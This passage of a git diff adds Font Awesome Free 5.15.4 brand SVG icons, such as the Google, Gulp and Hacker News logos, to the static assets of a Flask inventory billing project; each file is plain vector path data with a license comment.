97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus.svg new file mode 100644 index 00000000..b62503b3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-plus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-wallet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-wallet.svg new file mode 100644 index 00000000..2699996a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google-wallet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google.svg new file mode 100644 index 00000000..17b04f8a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/google.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 488 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gratipay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gratipay.svg new file mode 100644 index 00000000..78469de2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gratipay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/grav.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/grav.svg new file mode 100644 index 00000000..911c2c96 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/grav.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gripfire.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gripfire.svg new file mode 100644 index 00000000..c7885b84 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gripfire.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/grunt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/grunt.svg new file mode 100644 index 00000000..a75e57cc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/grunt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/guilded.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/guilded.svg new file mode 100644 index 00000000..ad46c36e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/guilded.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gulp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gulp.svg new file mode 100644 index 00000000..3e56c7de --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/gulp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hacker-news-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hacker-news-square.svg new file mode 100644 index 00000000..61f7489e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hacker-news-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hacker-news.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hacker-news.svg new file mode 100644 index 00000000..34d13b35 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hacker-news.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hackerrank.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hackerrank.svg new file mode 100644 index 00000000..064e48a7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hackerrank.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 